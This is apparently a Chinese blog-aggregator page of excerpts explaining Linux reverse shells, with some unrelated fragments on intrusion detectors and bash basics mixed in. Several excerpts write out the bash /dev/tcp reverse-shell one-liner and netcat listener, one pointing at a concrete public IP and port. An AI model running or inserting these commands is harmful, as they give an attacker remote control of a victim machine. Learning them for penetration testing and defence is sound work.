在渗透过程中，经常需要反弹shell，因此总结一下linux反弹shell的几种姿势：bash -i >& /dev/tcp/ip/port 0>&1bash -i 本地以交互模式打开一个bash>& 输出重定向，将标准输出和标准错误输出都重定向到远程。/dev/tcp/ip/port/ 建立一个socket连接
Shell也称为终端或壳，是人与内核之间的翻译官，而Bash则是Linux中默认使用的Shell
原创
2022-08-21 22:29:05
3704阅读
点赞
前言 Linux下，一条bash命令就可以反弹出shell。之前不求甚解的复现，突然有了一个疑问，为什么这样就能实现shell反弹？又重新学习了一下bash，这是一篇关于bash反弹原理的介绍。 反弹shell命令如下 受害者：bash -i >& /dev/tcp/ip/port 0>&1 攻击者nc -lvp port反弹 shell 的本质 接下来依次解
转载
2024-01-21 05:16:12
48阅读
1. 在计算机科学中，Shell俗称壳（用来区别于核），是指“提供使用者使用界面”的软件（命令解析器）。它类似于DOS下的command和后来的cmd.exe.2. bash (Bourne Again shell)是众多shell的一种, 但它是Linux 预设的shell. bash 是 GNU 计划中重要的工具软件之一，目前也是 Linux distributions 的标准 shell.
转载
2024-09-14 13:24:34
26阅读
bash反弹：首先公网主机指定端口，然后肉鸡执行bash命令向公网指网主机对命令的解释：bash -i意为创建一个交互式的bash shell&am...
原创
2022-02-28 11:28:51
320阅读
bash反弹：首先公网主机监听指定端口，然后肉鸡执行bash命令向公网指定端口发送连接请求公网主机： nc -lvvp 9090肉鸡执行： bash -i &> /dev/tcp/144.34.164.217/9090 0>&1 其中144.34.164.217为自己的公网主机对命令的解释：bash -i意为创建一个交互式的bash shell&am...
原创
2021-06-29 13:39:31
3285阅读
当我们在渗透Linux主机时，反弹一个可交互的shell是非常有必要的。那什么反弹shell又到底是什么呐？为什么要反弹shell呐？一、什么是反弹shell？反弹shell(reverse shell)，就是控制端(攻击者所有)监听某TCP/UDP端口，被控端发起请求到该端口，并将其命令行的输入输出转发到控制端。reverse shell与telnet，ssh等标准shell对应，本质上是网络概
转载
2023-12-15 16:01:42
35阅读
time:2019-04-11 21:07最近在做ctf题时碰到一些命令执行题借用命令执行来反弹shell，这里记录一下。1.bash反弹shell个人感觉bash反弹是最简单、也是最常见的一种。bash -i >& /dev/tcp/192.168.20.151/8080 0>&1bash一句话命令详解 以下针对常用的bash反弹一句话进行了拆分说明，具体内容如下。
## Python反弹Shell命令实现流程
为了帮助你理解Python反弹Shell命令的实现过程，我将按照以下步骤详细介绍：
步骤 | 说明
---|---
1 | 创建一个监听器
2 | 接收连接请求
3 | 执行命令
4 | 发送命令结果
5 | 关闭连接
接下来，我们逐步实现每个步骤。
### 1. 创建一个监听器
开启一个TCP服务器监听指定的IP地址和端口。监听器将负责接收
原创
2023-09-23 19:26:29
324阅读
# Docker命令反弹Shell实现教程
## 1. 整体流程
下面是实现Docker命令反弹Shell的整体步骤：
```mermaid
journey
title Docker命令反弹Shell实现流程
section 步骤1: 创建一个恶意Docker镜像
description 首先，我们需要创建一个包含恶意代码的Docker镜像，用于反弹Shel
原创
2023-08-20 06:58:13
313阅读
俗话说：”读万卷书，行万里路“，我们学习入侵报警系统的探测器的理论知识，就是为了在实践中更好地去应用。学会应用才是王道。报警系统的探测器很多，今天我们就分享一下在文博安防中常用探测器的应用经验，不过多讨论深奥的技术内容，争取说的通俗，让更多的人能读懂。 01说到探测器，很多人都熟悉红外探测器，生活中很常见。1、红外探测器分为主动探测器和被动探测器。主动的意思就是一个设备主动发出的红外光
内置补全命令Bash内置两个补全命令，分别是compgen和complete。compgen命令根据不同的参数，生成匹配单词的候选补全列表，例子如下：monster@monster-Z:~$ compgen -W 'ha hia hoo world' h
ha
hia
hoocompgen的常用选项是-W，通过-W参数指定空格分隔的单词列表。h即为我们在命令行当前输入的单词，执行完之后会输出候选的
转载
2023-12-15 16:41:35
128阅读
命令解释器，我们可以SHELL实现对Linux系统的管理例如：1. 文件管理2. 用户管理3. 权限管理4. 磁盘管理5. 软件管理6. 网络管理......内容提要：bash shell提示符shell 语法bash 特性Linux获得帮助一、bash shell提示符：===================[root@station230 ~]# date2012年 10月 24日 星期三 0
原创
2016-06-02 21:53:44
1419阅读
— pwd 当前工作目录cd（不加参数） 进rootcd（folder） 进入文件夹cd .. 上级目录cd ~ 返回rootcd - 返回上一个访问的目录rm 文件名 删除cat 文件名(|less) 在终端下查看文件ls 列出目录下所有文件cp 文件名 目标目录 将文件拷贝到目标目录下~代表root 如：~/Do
转载
2024-04-02 06:50:31
83阅读
环境 攻击机：kali ip：192.168.25.144 靶 机：centos ip：192.168.25.142 过程 kali 监听本地8888端口 靶机 centos 写入 反弹shell 的命令 bash -i >& /dev/tcp/192.168.25.144/8888 0>&1 攻击
转载
2024-01-16 11:33:34
222阅读
Shell也称为终端或壳，是人与内核之间的翻译官，而Bash则是Linux中默认使用的Shell
原创
2023-07-05 15:28:32
646阅读
awk sed tr cut
原创
2019-03-19 16:12:54
3375阅读
http://spazzzz.blog.51cto.com/2707720/499923
按照自己目前的水平所整理，以备日后杯具时查阅（需定时更新）
首先打开终端，最初要使用的命令：
启用root用户，使用sudo passwd命令
禁用root用户，使用passwd -l
&nb
转载
精选
2013-02-15 16:35:54
587阅读
一、命名语法一条Bash指令的的命名一般包含三个部分：command（指令）；option（选项）；argument（参数）。命名的格式为：command option argument。ls -l -F file1 file2 file3 -l：以单行格式输出文件详细信息 -F：在每个输出项后面追加文件的类型标识符，具体含义包括：“*”表示具有可执行权限的普通文件；“/”
转载
2024-01-08 17:36:50
43阅读
简介Bash 是 Unix 系统和 Linux 系统的一种 Shell（命令行环境），是目前绝大多数 Linux 发行版的默认 Shell。 shell的种类Bourne Shell（sh）Bourne Again shell（bash）C Shell（csh）TENEX C Shell（tcsh）Korn shell（ksh）Z Shell（zsh）Friendly Interacti
转载
2023-07-04 19:58:22
124阅读
